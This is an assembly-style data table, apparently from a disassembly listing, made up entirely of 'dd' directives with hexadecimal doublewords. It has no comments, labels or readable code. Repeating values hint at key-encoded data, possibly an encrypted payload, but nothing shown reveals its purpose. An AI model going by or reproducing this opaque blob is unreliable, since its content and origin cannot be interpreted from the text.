		dd 0BDE42C05h, 666B62ECh, 84B75156h, 10AB199Eh,	5852AAF3h
		dd 304E5829h, 18403F67h, 14734Fh, 0A86E9A9Dh, 0B1BBE40h
		dd 0E9D4581h, 0F3F30373h, 0FD43803Ch, 0EEE19BB4h, 3460B14Ch
		dd 60A45895h, 0DE6C2F13h, 948C57FCh, 30A71622h,	6B5AA24Fh
		dd 3B7F4A59h, 4EB0EB63h, 8CDFDFCFh, 3F20494h, 80181D3h
		dd 28E68C91h, 77178D13h, 0FAF4E1EFh, 1FB3CAD6h,	14BC124Bh
		dd 3F2CBD8Fh, 49E66B07h, 0BDD8DC05h, 467302ECh,	84BE8253h
		dd 10CA999Eh, 5913AAF3h, 0D9CC5829h, 416C3E62h,	3F0C72BBh
		dd 0FC7E9B69h, 9B7BBFB4h, 96CD4570h, 5A630382h,	0D45380CDh
		dd 60F19B45h, 0C860B14Dh, 78A45892h, 0CE6C2F11h, 0B48C57F8h
		dd 70A7162Ah, 0EB5AA25Fh, 3B7F4A78h, 4EB0EB25h,	8CDFDC43h
		dd 1F2058Ch, 901832Bh, 0FCE688F1h, 0A2079A22h, 2EE4D19Eh
		dd 0CBAC2927h, 0C0AC54BAh, 0EB3F317Eh, 0FDF763F6h, 0BDCACCF4h
		dd 467F22ECh, 84414253h, 10DA199Eh, 5BF0AAF3h, 0D9825829h
		dd 0CEE83E62h, 0B714724Ah, 729E9B98h, 1F4BBF45h, 271D4581h
		dd 0C0F3037Bh, 6B43803Ch, 62F19B44h, 0BC70B1BCh, 80B45863h
		dd 0E7C2FEFh, 0F49C5714h, 0B0B71620h, 6B4AA29Ch, 3B7F4DA7h
		dd 4EB0EBE7h, 8CDFDCC7h, 3F20284h, 8018D33h, 28E694D1h
		dd 7717A293h, 0FAF43EEFh, 1FBC08D6h, 54BC964Bh,	0B33FB57Eh
		dd 91F87BF6h, 0BDCCFCF4h, 467BC2ECh, 84490253h,	10ED999Eh
		dd 5BD1AAF3h, 0D9405829h
		dd 0CE643E62h, 0B42C724Ah, 708E9B98h, 1BABBF45h, 2D5D4581h
		dd 0B1730373h, 7A43803Ch, 0E4E19BB5h, 0C060B152h, 88A45890h
		dd 0EE6C2F1Ch, 0F48C57E6h, 0F0A716D6h, 0EB5AA266h, 3B7F4DB6h
		dd 4EB0EBB9h, 8CDFDCBBh, 3F2033Ch, 8018C03h, 28E69631h
		dd 7717A653h, 0FAF4366Fh, 1FBC67D6h, 14BCC84Bh,	3F2E098Fh
		dd 49E9F307h, 0BDDDEC05h, 4679E2ECh, 8455C253h,	10F5199Eh
		dd 5BC6AAF3h, 0D9265829h, 0CE203E62h, 0B5A4724Ah, 71BE9B98h
		dd 0E58BBF45h, 319D4580h, 0A9F3037Dh, 69438020h, 0C6E19A4Dh
		dd 8460B162h, 0A45B70h,	1E6C2FDDh, 148C5761h, 30A711D5h
		dd 6B5AAC65h, 3B7F51B5h, 4EB0E3BBh, 8CDFCCBFh, 3F22334h
		dd 8014C13h, 28E61611h,	7718A613h, 0FAF237EFh, 1FB866D6h
		dd 14B4CA4Bh, 3F1E0D8Fh, 49C98B07h, 0BD1D9C05h,	46F982ECh
		dd 87558253h, 12F4999Eh, 5FC7AAF3h, 0D1245829h,	0BE3C3E62h
		dd 55BC724Ah, 0B1AE9B99h, 65EBBF4Ah, 31DD4583h,	0A873037Fh
		dd 68438024h, 0D8E19A45h, 9860B172h, 18A45B50h,	0E6C2F9Dh
		dd 348C56E1h, 70A710D5h, 0EB5AAE65h, 3B7F55B4h,	4EB0DBBDh
		dd 8CDF3CB3h, 3F2432Ch,	8010C63h, 28E79671h, 7719A7D3h
		dd 0FAF0376Fh, 1F8465D6h, 14ACCC4Bh, 3F0E018Fh,	49A98307h
		dd 0BD5D8C05h, 4779A2ECh, 86544253h, 1CF4199Eh,	23C4AAF3h
		dd 0C93A5829h, 0AE383E62h, 75B4724Ah, 0F1DE9B99h, 0E5CBBF4Ah
		dd 301D4582h, 0A8F30379h, 57438028h, 0DAE19A5Dh, 9C60B182h
		dd 10A45B30h, 3E6C285Dh, 548C5661h, 0B0A713D5h,	6B5AA864h
		dd 3B7F59B3h, 4EB0D3BFh, 8CDF2CB7h, 3F26324h, 81ECC73h
		dd 28E71651h, 771AA793h, 0FAFE34EFh, 1F8064D6h,	14A4CE4Bh
		dd 3FFE058Fh, 49899B07h, 0BE9DBC05h, 47F842ECh,	81540253h
		dd 1EF7999Eh, 27C5AAF3h, 0C1385829h, 9E343E62h,	15CC724Ah
		dd 31CE9B99h, 642BBF4Bh, 305D459Dh, 0A773037Bh,	5643802Ch
		dd 0DCE19A55h, 9060B192h, 28A45B10h, 2E6C281Dh,	748C59E1h
		dd 0F0A712D5h, 0EB5AAA64h, 3B7F5DB2h, 4EB0CBB1h, 8CDF1CABh
		dd 3F2835Ch, 81E8C43h, 28E097B1h, 771BA753h, 0FAFC346Fh
		dd 1F8C63D6h, 149CC04Bh, 3FEE198Fh, 49699307h, 0BEDDAC05h
		dd 447862ECh, 8054C253h, 18F7199Eh, 2BBAAAF3h, 393E5829h
		dd 8E303E63h, 35C4724Ch, 71FE9B95h, 0E40BBF53h,	309D45ECh
		dd 0A7F30325h, 554381D0h, 0DEE19AEDh, 9460B2A2h, 20A45DF0h
		dd 5E6C24DDh, 948C4161h, 30A73DD4h, 6B5B7463h, 3B7EE1B1h
		dd 4EB043B3h, 8CDC0CAFh, 3ECA354h, 81A4C53h, 28E81791h
		dd 776CA713h, 0FADA35EFh, 1E4862D6h, 1414C24Bh,	20DE1D8Fh
		dd 4B49AB07h, 0BA1E5C05h, 4CF802ECh, 0B3548253h, 7AF6999Eh
		dd 0EFBBAAF3h, 0B13C5828h, 7FCC3E64h, 0D5DC724Fh, 0B1EE9B96h
		dd 646BBF50h, 30DD45EFh, 0A6730327h, 544381D4h,	0D0E19AE5h
		dd 0A860B2B2h, 38A45DD0h, 4E6C249Dh, 0B48C40E1h, 70A73CD4h
		dd 0EB5B7663h, 3B7EE5B0h, 4EB03BB5h, 8CDC7CA3h,	3ECC34Ch
		dd 81A0FA3h, 28E997F1h,	776DA4D3h, 0FAD8356Fh, 1E5461D6h
		dd 140CC44Bh, 20CE118Fh, 4B29A307h, 0BA5E4C05h,	4D7822ECh
		dd 0B2574253h, 64F6199Eh, 0F3B8AAF3h, 0A9325828h, 6FC83E64h
		dd 0F5D4724Fh, 0FE1E9B96h, 0E44BBF50h, 371D45EEh, 0A6F30321h
		dd 534381D8h, 0D2E19AFDh, 0AC60B2C2h, 30A45DB0h, 7E6C255Dh
		dd 0D48C4061h, 0B0A73FD4h, 6B5B7062h, 3B7EE9BFh, 4EB033B7h
		dd 8CDC6CA7h, 3ECE344h,	81BCFB3h, 28E917D1h, 776EA493h
		dd 0FAC632EFh, 1E5060D6h, 0EB04C64Bh, 2541EA70h, 40C9BB07h
		dd 0A69E7C05h, 4938C2ECh, 3B570253h, 6239999Eh,	7AB9AAF3h
		dd 0A9F05828h, 0D1C43E64h, 9D2C724Fh, 0B10E9B96h, 6C6BBF51h
		dd 0A75D45E9h, 0ADB30323h, 0C34381DCh, 0DC219AF5h, 3260B2D2h
		dd 40645D90h, 0FD6C251Dh, 0FC4C43E1h, 0F0A73ED4h, 0EB5B7262h
		dd 3B7EEDBEh, 4EB02BA9h, 8CDC5D5Bh, 3ED037Ch, 81B8F83h
		dd 28EA9731h, 776FA457h, 0FAC4326Fh, 1E5C6FD6h,	147CD84Bh
		dd 20AE298Fh, 4AE9B307h, 0BBDE6C05h, 7278E2ECh,	0AC57C253h
		dd 60F9199Eh, 0FBBEAAF3h, 99365828h, 4FC03E64h,	0B5E4724Fh
		dd 7E3E9B96h, 0E48BBF51h, 379D45E8h, 0A5F3032Dh, 514381C0h
		dd 0D6E19A8Dh, 0A460B2E2h, 40A45C70h, 9E6C25DDh, 148C4360h
		dd 30A739DBh, 6B5B7C61h, 3B7EF1BDh, 4EB023ABh, 8CDC4D5Fh
		dd 3ED2374h, 81B4F93h, 28EA1711h, 7770A413h, 0FAC233EFh
		dd 1E586ED6h, 1474DA4Bh, 209E2D8Fh, 4AC94B07h, 0BB1E1C05h
		dd 72F882ECh, 0AF578253h, 62F8999Eh, 0FFBFAAF3h, 91345828h
		dd 1FDC3E64h, 55EC72A8h, 0BE2E9B97h, 64EBBF56h,	37DD45EBh
		dd 0A473032Fh, 504381C4h, 0A8E19A85h, 0B860B2F2h, 58A45C50h
		dd 8E6C259Dh, 348C42E0h, 70A738DBh, 0EB5B7E61h,	3B7EF5BCh
		dd 4EB01BADh, 8CDDBD53h, 3ED436Ch, 81B0FE3h, 28EB9771h
		dd 7771A5D3h, 0FAC0336Fh, 1E246DD6h, 146CDC4Bh,	208E218Fh
		dd 4AA94307h, 0BB5E0C05h, 7378A2ECh, 0AE564253h, 6CF8199Eh
		dd 0C3BCAAF3h, 890A5828h, 2FD83E64h, 75F4724Fh,	0FE5E9B97h
		dd 0E4CBBF56h, 361D45EAh, 0A4F30329h, 5F4381C8h, 0AAE19A9Dh
		dd 0BC60B302h, 50A45C30h, 0BE6C265Dh, 548C4260h, 0B0A73BDBh
		dd 6B5B7860h, 3B7EF9BBh, 4EB013AFh, 8CDDAD57h, 3ED6364h
		dd 818CFF3h, 28EB1751h,	7772A593h, 0FACE30EFh, 1E206CD6h
		dd 1464DE4Bh, 217E258Fh, 4A895B07h, 0B49E3C05h,	73C742ECh
		dd 0A9560253h, 6EFB999Eh, 0C7BDAAF3h, 81085828h, 1FD43E64h
		dd 150C724Fh, 3E4E9B97h, 672BBF57h, 365D45E5h, 0A373032Bh
		dd 5E4381CCh, 0ACE19A95h, 0B060B312h, 68A45C10h, 0AE6C261Dh
		dd 748C45E0h, 0F0A73ADBh, 0EB5B7A60h, 3B7EFDBAh, 4EB00BA1h
		dd 8CDD9D4Bh, 53ED839Ch, 8188FC3h, 129490B1h, 7763A5B4h
		dd 0F9CC306Fh, 82C6BD6h, 144CD0A1h, 216E398Fh, 4A695307h
		dd 0B4DE2C05h, 704762ECh, 0A856C253h, 68FB199Eh, 0CBB2AAF3h
		dd 0F90E5828h, 0FD03E64h, 3504724Fh, 7E7E9B97h,	0E70BBF57h
		dd 369D45E4h, 0A3F30335h, 4B4381B0h, 0AEF19A47h, 0B460B322h
		dd 60A45CF0h, 0DE6C26DDh, 948C4560h, 30A735DAh,	6B5B647Fh
		dd 3B7EC1B9h, 4EB003A3h, 8CDD8D4Fh, 3EDA394h, 8184FD3h
		dd 28941091h, 7774A513h, 0FACA31EFh, 8286AD6h, 1444D2A1h
		dd 215E3D8Fh, 4A496B07h, 0B41EDC05h, 70C702ECh,	0AB568253h
		dd 6AFA999Eh, 0CFB3AAF3h, 0F10C5828h, 0FFEC3E64h, 0D51C724Eh
		dd 0BE6E9B90h, 676BBF54h, 36DD45E7h, 0A2730337h, 4A4381B4h
		dd 0A0F19A4Fh, 4860B332h, 78A45CD1h, 0CE6C269Bh, 0B48C44ECh
		dd 70A734C2h, 0EB5B668Fh, 3B7EC5D8h, 4EB3F465h,	8CDDFDC3h
		dd 3EDC08Ch, 8180923h, 28959CF1h, 7775B2D3h, 0FAC8216Fh
		dd 823449D6h, 885B14A6h, 0BD5EB162h, 0D63A63EAh, 2840CCE8h
		dd 0ED532201h, 364942BEh, 2B1A1973h, 0ACEFD58Ch, 95BD2757h
		dd 9017411Bh, 6F147231h, 608E9B7Dh, 7F5BBFB9h, 3D0D450Bh
		dd 92F30331h, 3B3C71B8h, 62E19ABDh, 0CC1F4B43h,	70A45C8Eh
		dd 0FE50B759h, 0D48C4468h, 0B09977CAh, 6B5B609Eh, 3B3EFB07h
		dd 4EB3EC27h, 0CDDD247h, 3EDE17Eh, 819CB33h, 0E69518D1h
		dd 1B76BB93h, 53360E13h, 1E30A82Dh, 1443564Bh, 0F39358Fh
		dd 0DE0B7A05h, 4592FCF8h, 71CFC217h, 0A5610253h, 0CE1D999Eh
		dd 0B71ABF1h, 0B28058D5h
		dd 0DCE43E98h, 932C724Eh, 828E9B90h, 53ABBE57h,	9D5D451Fh
		dd 817303CEh, 1A4381BAh, 30E19AB9h, 460B248h, 88A45C61h
		dd 0EE6C2706h, 0F48C442Ah, 0F0A7364Eh, 0EB5B6196h, 637ECB16h
		dd 26B3E807h, 8DDDAC5h,	9FEE0EC2h, 0BC19AAFDh, 0EC955ACFh
		dd 0A3773EADh, 11370691h, 0E6328728h, 25BF88B5h, 3F218970h
		dd 641CF3F8h, 0F5F3ECFAh, 258DE213h, 0C6EDC2ACh, 23251961h
		dd 0A566AA0Ch, 4C6658D7h, 66A03E9Bh, 30A472B1h,	0D9BE9B6Fh
		dd 0FB8BBFAAh, 0A99D451Eh, 89F303CCh, 0D438142h, 16E19BBBh
		dd 2260B24Fh, 3CA45D97h, 566C2617h, 408C46F5h, 54A7370Dh
		dd 1B5B6315h, 0BD7ECB15h, 0EEB3EBFBh, 3EDDDF3Fh, 23EE0734h
		dd 38199B10h, 1696BB12h, 39777F10h, 0A53486ECh,	723387D5h
		dd 51BD8B48h, 0A72D8C8Ch, 0D9E48A04h, 17E39D06h, 0D86D83EFh
		dd 18AD8350h, 98A4989Dh, 0C67ABF0h, 3C64592Bh, 34BC3F67h
		dd 0B2BC734Dh, 1DAE9A94h, 25EBBE51h, 3FDD44E5h,	0BC730237h
		dd 5A4380B8h, 76E19BB1h, 9060B257h, 82A45E6Bh, 0A66C2623h
		dd 888C46D1h, 0BEA737C9h, 0B5B6391h, 0C37ECC10h, 5CB3E5F9h
		dd 0AEDDC336h, 31EE3F29h, 36198B66h, 66969B74h,	1177BED6h
		dd 8334066Ah, 9A3C84D3h, 2BBB8D4Eh, 0FD29818Fh,	0A3EC8207h
		dd 0B5D38D05h, 784DA3EDh, 0BA6C4352h, 7E24189Fh, 9564ABF2h
		dd 0B07A5929h, 0B0B83F65h, 3CB4734Fh, 0D9DE9A91h, 51CBBE54h
		dd 181D44E1h, 90F3023Dh, 0F4380BEh, 10E19BB7h, 660B253h
		dd 10A45E69h, 4D6C272Fh, 200C47C5h, 0A72736EDh,	7EDB62D4h
		dd 38FECC93h, 5C33E5FFh, 805DC037h, 0A6E3A24h, 0C997273h
		dd 2A16EA51h, 7AF7DF93h, 0FAB444EFh, 11BD04D6h,	3B3A8E4Bh
		dd 32AB858Fh, 47709B07h, 814BBC05h, 70DC42ECh, 9D8C0253h
		dd 5BE7999Eh, 0CE65AAF3h, 0CAF85828h, 0DD343E64h, 0AC4C724Eh
		dd 0C7CE9B90h, 0F82BBE57h, 2E5D45E0h, 0E173023Eh, 9C4380BDh
		dd 1CE19BB5h, 1060B254h, 70A45F67h, 466C27C9h, 0F08C474Bh
		dd 6CA73673h, 5F5B63EAh, 0FF7ECCECh, 9AB3E60Fh,	66DDC6D5h
		dd 0FBEE36A2h, 6197ABDh, 3696FB4Eh, 5977FFACh, 0BB358490h
		dd 4A3D8329h, 49B980B4h, 55159970h, 31F493F8h, 27C3ACFAh
		dd 0D42C6213h, 142CC2ACh, 93A71961h, 85AAA0Ch, 347E58D7h
		dd 40B03E9Bh, 0ACC472B1h, 7BFE9A90h, 0EE0BBE55h, 0B49D44E0h
		dd 0BFF3023Ch, 0A14380BEh, 7AE19BB0h, 6460B255h, 0A6A45E63h
		dd 0FE6C263Fh, 268C46A5h, 10A737ACh, 5B5B6250h,	57ECE92h
		dd 0B3E6F0h, 0D2DDC52Ch, 6FEE3357h, 72196350h, 0AE96CA92h
		dd 0E3781E10h, 5935C4ECh, 0B03E03D5h, 97B88348h, 0E9179C8Ch
		dd 99F8AA04h, 513C5D06h, 8A3C03EFh, 0ADCC8350h,	47E6989Ah
		dd 0F1DBABF7h, 0E37C592Ch, 0F24C3F60h, 0F6DC734Ah, 3DEE9A94h
		dd 506BBE51h, 32DD44E4h, 1E730238h, 0C84380BAh,	0DEE19BB5h
		dd 0C860B25Fh, 0C0A45E7Bh, 5C6C26C3h, 968C4690h, 42A73049h
		dd 0D55B6296h, 757ECE15h, 28B3E1F0h, 0F4DDCB26h, 87EE2F49h
		dd 81954A6h, 0F496DBF1h, 99783DD3h, 0FB35046Fh,	103E80D7h
		dd 35B7854Ah, 0F11908Eh, 3FCA206h, 0DF344D04h, 0A0C23EDh
		dd 2BEF4352h, 0F326189Fh, 6558ABF2h, 6725929h, 5C483F65h
		dd 58D4734Fh, 521E9A91h, 0B24BBE57h, 4F1D44E2h,	5F3033Dh
		dd 87C381A1h, 5619AB2h,	39E0B359h, 33245F7Bh, 6CEC27CFh
		dd 0D80C4785h, 0B927316Ch, 6FDB63D2h, 39FECE9Fh, 4333E1F7h
		dd 8D5DC827h, 0C6E2A44h, 18995DB3h, 3B162BD1h, 7DF85C93h
		dd 0CFB542EFh, 18BF00D6h, 1236864Bh, 2A93958Fh,	5940BB07h
		dd 0A4AC7C05h, 199CC2ECh, 0A70F0253h, 0F569999Eh, 0DCD9ABF1h
		dd 11705828h, 6C443F66h, 0B6EC734Ch, 400E9A93h,	0B8ABBE58h
		dd 6F5D45FCh, 411645C5h, 1920E8C5h, 7A94F610h, 2060B3EBh
		dd 21CA16F7h, 20D49A3h,	0B7E9331Ch, 99D3447Eh, 0B8373571h
		dd 520ABD7Bh, 4EB3AC86h, 0F8B34BDBh, 71ADD419h,	6B7F31EAh
		dd 4DC35750h, 18150830h, 0FB3A8201h, 7F6AC3D6h,	59D6FD3Dh
		dd 42B4DDE6h, 2817DF66h, 0D94D1866h, 74ECE282h,	0D7CA8553h
		dd 12CD6DCDh, 0C03AC492h, 3076584Dh, 0C257965h,	0B9871D0Dh
		dd 2557CFFEh, 888BBF3Ch, 7BF802F8h, 80976D80h, 9805E4ECh
		dd 77AFFC60h, 2421D6B0h, 0CA45E73h, 0F20D42B0h,	7BE02725h
		dd 30A729B0h, 0E291F51h, 7D1B45FCh, 3D6CF82h, 0E5AD3CBEh
		dd 3AE451Ah, 4F174D93h,	49DE7F74h, 505E860h, 0FB50AC9Dh
		dd 53180ED6h, 42A2EA2Ah, 47D0DAEAh, 29A42241h, 0E21C1C05h
		dd 0A9DEF82h, 0A82AEB05h, 2BAEFFD1h, 0BFDFCF9Fh, 74041728h
		dd 5235780Bh, 249D3F24h, 0D740F2E3h, 98EBBF1Fh,	40B106FAh
		dd 0D53B67BAh, 152FE5E6h, 0ABE1991Dh, 5910D96Dh, 2CF73B43h
		dd 0E9024B29h, 348C4A2Dh, 15CB78C3h, 0EB5B2814h, 4F1070DCh
		dd 21DFFE08h, 0E8A7C6B0h, 6B8C1829h, 6D73A782h,	6B931371h
		dd 323C8A1h, 8F5B6E0Ah,	1EA135B3h, 64E31C4Bh, 6F10C4FFh
		dd 34EF3772h, 0B0900C44h, 1EB6E1ECh, 893B3632h,	2B6B76ECh
		dd 87DDD980h, 51CA5828h, 7E144A00h, 60B10632h, 3C2CF4E1h
		dd 24CBBF5Fh, 4A782990h, 0F89A44AEh, 3F43C0E9h,	1E84DE15h
		dd 4C0DD147h, 38D03FBFh, 0BE6C2266h, 20E90AD4h,	0C0CA4FA7h
		dd 0E3733D6h, 5E135C55h, 4EB384AEh, 0FCADC1D7h,	6F86F81Dh
		dd 8143496h, 5CF9C851h,	122FD4D5h, 895874AEh, 6A99EEBFh
		dd 2B9AED2Eh, 7569A58Fh, 0A183266h, 0D9874E6Ah,	1D272582h
		dd 0BD04601Ch, 482BEDFDh, 0FF2EC6F3h, 3383B5Ah,	0C547F0Bh
		dd 447F1E41h, 823F8E1h,	0EB2BFE36h, 0AB2F06F4h,	361676B5h
		dd 8A2DE4F9h, 0ECE19957h, 4405E710h, 6C128A8h, 0AE6C2257h
		dd 0E90ADCh, 95CB43A5h,	992F2EF1h, 4F0B5F33h, 4EF2F604h
		dd 0C5C283CBh, 718AC8F2h, 63771EAFh, 50D988D4h,	1922A530h
		dd 9F6D0508h, 1EECCBB2h, 5FBF574Bh, 4F05D6CCh, 0A3D66h
		dd 0F1AD426Ch, 3C5362ECh, 0BA1FB13Ah, 201F7CF2h, 0EF73CF81h
		dd 9AC3164h, 4E294C04h,	5D681E20h, 363BD093h, 0C047FA11h
		dd 0B2F96BC6h, 53F302B8h, 0DA26D38Fh, 0F84EB55h, 512BD165h
		dd 21DC1B92h, 8C6C222Fh, 0F1DF2AA1h, 5CC67CE6h,	131E3F9Ah
		dd 3B7E3CD8h, 29D6D7E3h, 0FFADEC8Ch, 7A8AF1F1h,	5A147DD3h
		dd 58D393F4h, 1208B376h, 0BA540496h, 4CED0AD6h,	4E9EF52Eh
		dd 471FD8E3h, 0D090E4Ch, 0F9CCDC05h, 112F6B82h,	0A267EE32h
		dd 2B0FCAFBh, 0FEBAD886h, 8291C51h, 82054C06h, 2C6E1D34h
		dd 336E9B8Dh, 9E38CB46h, 87AF30AFh, 57377B90h, 1531E21Ch
		dd 928EEDA7h, 0A403D5D2h, 37A451E8h, 9D02595Dh,	0DAED3C83h
		dd 2C245FBh, 0EB5B4ABEh, 5E0E53B8h, 3CD616CBh, 0E9A16835h
		dd 3E8BBCDh, 677E3C23h,	4DCB9582h, 14229CA1h, 957CF90Ah
		dd 1EA805B2h, 7A1AD44Bh, 5B9854FAh, 39030654h, 0E1ABAF6Ch
		dd 9534398h, 0D0114220h, 0D9125A9Eh, 39D5CD9Ch,	0D2742A4Ah
		dd 1CAB5B05h, 4A7D142Dh, 6E9E9BCEh, 0A623FC27h,	0A67822AAh
		dd 4B857091h, 3400E42Ch, 0C588FFF9h, 4C60F424h,	11D003E9h
		dd 9B3F4A59h, 0B7E503BEh, 0B0A69BE7h, 0E29780Eh, 681B0886h
		dd 27C57402h, 8C82E4A4h, 47E9B884h, 7C751556h, 5AE1AFB4h
		dd 12309BE5h, 0A90D9EEFh, 6BFC2FB3h, 7D20642Eh,	461FD9EEh
		dd 4E330342h, 0DA84BD05h, 536A92ADh, 0A47D2C61h, 0DA8D99F2h
		dd 3E91AAF2h, 0E3C0582Fh
		dd 0E6643E66h, 292C7242h, 7E8E9B89h, 0CFABBF2Bh, 0F45D45DCh
		dd 15730284h, 3843812Fh, 69E19857h, 0C160B597h,	87A453E6h
		dd 0FE6C3828h, 0E78C79CEh, 0FAA6D286h, 0DF5B2B06h, 3D7E5CF6h
		dd 77B2C639h, 87C301BBh, 17EAB93Ch, 196E7803h, 4780FE31h
		dd 205BF653h, 0B03ED93Ch, 7AA395E5h, 2A992427h,	57B04E8Fh
		dd 2E35834Eh, 0FCA09B77h, 640B688h, 0A925A73Fh,	0E9F971EEh
		dd 4EFDA93h, 34CA344Bh,	3A203E67h, 59C1062Bh, 22CAFEE5h
		dd 8CE5DA5Fh, 0C89D45D4h, 7B9676FAh, 6637E461h,	138FFD67h
		dd 8421DA65h, 49A452E6h, 6C094E47h, 57F818A7h, 55D5A5E9h
		dd 0F357A4Dh, 3B7DD999h, 3ADCCF3Bh, 0E9AEF3DAh,	628EEB40h
		dd 64053E77h, 7F8CFE74h, 38EAB85Ah, 9F43C3AAh, 116DCABAh
		dd 43AB1D4Bh, 4B1668FBh, 2C1CF869h, 88C1DD60h, 1B4DD6ECh
		dd 0AE51E700h, 0ECE1F5FFh, 4987AAF2h, 0C53D5Dh,	81546A02h
		dd 2BD81321h, 3FAE9B85h, 0A09ECC56h, 0F3B51049h, 81763C1h
		dd 6D4382EFh, 0C95F1AFh, 0F905C4FFh, 18A45582h,	7C056229h
		dd 58ED14BDh, 15C3B0C3h, 0B95B0B05h, 5528F080h,	2ADC2F4Ah
		dd 0C4C001B3h, 4094D849h, 7C0B1D11h, 2888FE14h,	17CEBFD3h
		dd 8838D31Fh, 6822D7A2h, 62194C4Bh, 65A560EAh, 201CEF6Bh
		dd 0C2C18C05h, 3E51C389h, 9C480336h, 0F9947AF1h, 8BE1E2F2h
		dd 0D1C81E5Eh, 73383E0Dh, 4AD13A47h, 17B7C8F7h,	0CDCBBF52h
		dd 0E1780C24h, 649254C4h, 6322E6A6h, 5AE198F2h,	0F005F317h
		dd 53C12083h, 57185F5Bh, 7E004AAh, 0D9D299E0h, 6B5B956Bh
		dd 5E0FBFF3h, 8D7725Eh,	0CDA4EDDEh, 57E5B924h, 64290B1Fh
		dd 28D7913Dh, 31B3F793h, 8E0EE08Ah, 7F48D6A4h, 58311A3Fh
		dd 6C3164EAh, 42739B63h, 0F7ADE805h, 754530AAh,	0BC240253h
		dd 8CD0EAF2h, 0A6E4FC86h, 0F4B83D5Bh, 9A4C7B68h, 44BE2232h
		dd 1EBDFEE2h, 992BBF3Bh, 0EE3C2C52h, 63166E20h,	7320FAEAh
		dd 3388EB27h, 0FC09F1F9h, 28D63292h, 696C3029h,	0DDF1DACh
		dd 9DC386F6h, 8E368250h, 523BAFB3h, 2719A35Dh, 8CC164C6h
		dd 7783FE5Ch, 7A070C10h, 61C08AC5h, 37D4913Dh, 0BCBD946Fh
		dd 784BD7B3h, 50CD2527h, 25D57CFFh, 3116D407h, 0F4B3D946h
		dd 44540C89h, 8547AD21h, 0D9976AEDh, 0DA0FEEF2h, 55DD3142h
		dd 12785B1Dh, 4EA81637h, 3EFE9B83h, 0AD43CB5Ah,	0E5F1205Ah
		dd 69866D17h, 154382FBh, 2A84D817h, 0FD16D652h,	4DCA3994h
		dd 0D185C4Ch, 0FAE51FBDh, 30A699E3h, 0E299D03h,	4D137994h
		dd 2022F45Ah, 0F8A8E4C2h, 6A95CD07h, 49171F3Dh,	7EBCFF91h
		dd 3F7857Ah, 97ECF98Eh,	118ECDBAh, 7FD9424Bh, 53216FE6h
		dd 3122C766h, 80BB2E60h, 4F2002ECh, 7D50EB21h, 0ACFAF0D9h
		dd 0D97BAAF4h, 0EF2C47h, 9EAD7615h, 2BB919CCh, 3EEE9BDDh
		dd 0A328C8A6h, 0ECB237E2h, 74074201h, 7A22CC03h, 2284FFB3h
		dd 0FB60A097h, 51E20D83h, 213C8945h, 0D1FBBFA0h, 70A662F6h
		dd 8A3D9903h, 571A5A94h, 4E494650h, 0F8AB52A3h,	4F74D709h
		dd 642B3DC5h, 2F78FF94h, 760BF4D3h, 0FC9D956Fh,	13CDA1D6h
		dd 2D19444Bh, 2ED5118Fh, 7773A307h, 0E2C24C05h,	0DC2022ECh
		dd 90274252h, 39961990h, 6A78AAF7h, 0B4B25821h,	70C83E72h
		dd 2BD475ABh, 6A1E9BDFh, 0CC4BBCC7h, 871D4484h,	6F30174h
		dd 1343844Fh, 52E19397h, 0AC60A117h, 30A478E6h,	7E6CEE29h
		dd 0D48FD5C9h, 0B0A61A84h, 6B58BB02h, 3B737CFFh, 3A490627h
		dd 81CF81A7h, 43218474h, 5B703683h, 425498E1h, 0B2383A3h
		dd 6EBD1EDFh, 8D9D38E6h, 0FE69857Bh, 365CCBFh, 2242F336h
		dd 9AF32634h, 0BE11AEDDh, 19168863h, 0F6A85CA1h, 0A0484FC6h
		dd 0D5824310h, 0CEF60740h, 7ADE3098h, 43CFCEBh,	5C993BF9h
		dd 556FD3AEh, 0E441DB36h, 2F70B41Dh, 17D93564h,	2B5C92ACh
		dd 1C98A1DAh, 0E7528117h, 0F48FD9F7h, 6CA612A4h, 0C058AB02h
		dd 6D4111CCh, 0CB7AB31Bh, 3CFD8869h, 0F120674Eh, 2D6D7FB1h
		dd 5B53AA02h, 0D6286760h, 44CE395Ch, 0F7BE60E5h, 0D1AAAA78h
		dd 0DE120BCh, 2647F333h, 8AF63031h, 581470D8h, 3A136F66h
		dd 0E6ADC0A4h, 6C4BACC3h, 0B1833214h, 0ECF5A846h, 9FD1BA98h
		dd 0B40986EDh, 0F5B3B6F8h, 68A5F5ACh, 42CA172Ch, 4679A936h
		dd 1EDB5E2Dh, 665B372Ch, 569F8CDDh, 0A750C815h,	0BBB3BAF4h
		dd 39B2DB7h, 0A65CB3Ch,	0C34F3CC0h, 1C769F16h, 10F2E561h
		dd 0FD2D694Ah, 863DFADh, 1F6CFF21h, 1663F412h, 16DCE5DFh
		dd 4C5F89E7h, 0C5EBFC79h, 0B86641BDh, 0FC471634h, 0D3F6C331h
		dd 4115F5D9h, 0A121567h, 0CAAD25A5h, 0DA4A63C2h, 9C81BA14h
		dd 7E9CF46h, 3ECA7299h,	4E1884E3h, 0FFDD96E5h, 0CEEB07DAh
		dd 59454E12h, 6A75EFD9h, 0B8D715E1h, 245634A1h,	0EB92D8D0h
		dd 4C5A591Fh, 0E5B909FEh, 9790E3BDh, 106E6637h,	234594CAh
		dd 0C27F111Ah, 30FBA564h, 1134B85Bh, 456250DBh,	7450AC49h
		dd 0FC5377EBh, 54E50F57h, 0DC756DEEh, 0CB218973h, 7BEDD6B7h
		dd 224A763Eh, 9EFB5C3Ch, 4819D7D5h, 681FFD6Bh, 8AA1FFA9h
		dd 0C546BCCEh, 0FEB0651Ah, 10E26E4Eh, 54CE0F95h, 0A3643CEDh
		dd 0D7F156EDh, 0AC2660DFh, 62C8490Fh, 877817F4h, 0EFDA36ACh
		dd 5A5B7D2Ch, 519F87DDh, 0F150AF15h, 34B390F4h,	0DB9A5CB7h
		dd 0CA65E03Ch, 8A4E5BC7h, 8874BF13h, 59F14B6Bh,	0E8315A58h
		dd 4D6570CFh, 5829986Ch, 0DB4E7AAEh, 2CF050D2h,	111045EBh
		dd 0AB673075h, 0A86B85B1h, 2C4C5239h, 86FD5A3Ah, 5F103CD3h
		dd 7419D26Dh, 96A471AFh, 0CA7DAAC8h, 6C885860h,	0E4D43E75h
		dd 83C689Eh, 3D7EDDE1h,	4F1BD5EBh, 4B6DC8CCh, 1A4202F4h
		dd 6972B79Eh, 0BFD01666h, 9510FA6h, 0A595BFD7h,	715D3818h
		dd 79BE34F9h, 0D19426B9h, 0AD6B5932h, 4A4091C8h, 0C679B813h
		dd 5FFFCF79h, 0F3C46AEh, 24656DF0h, 7C23CB82h, 1D489160h
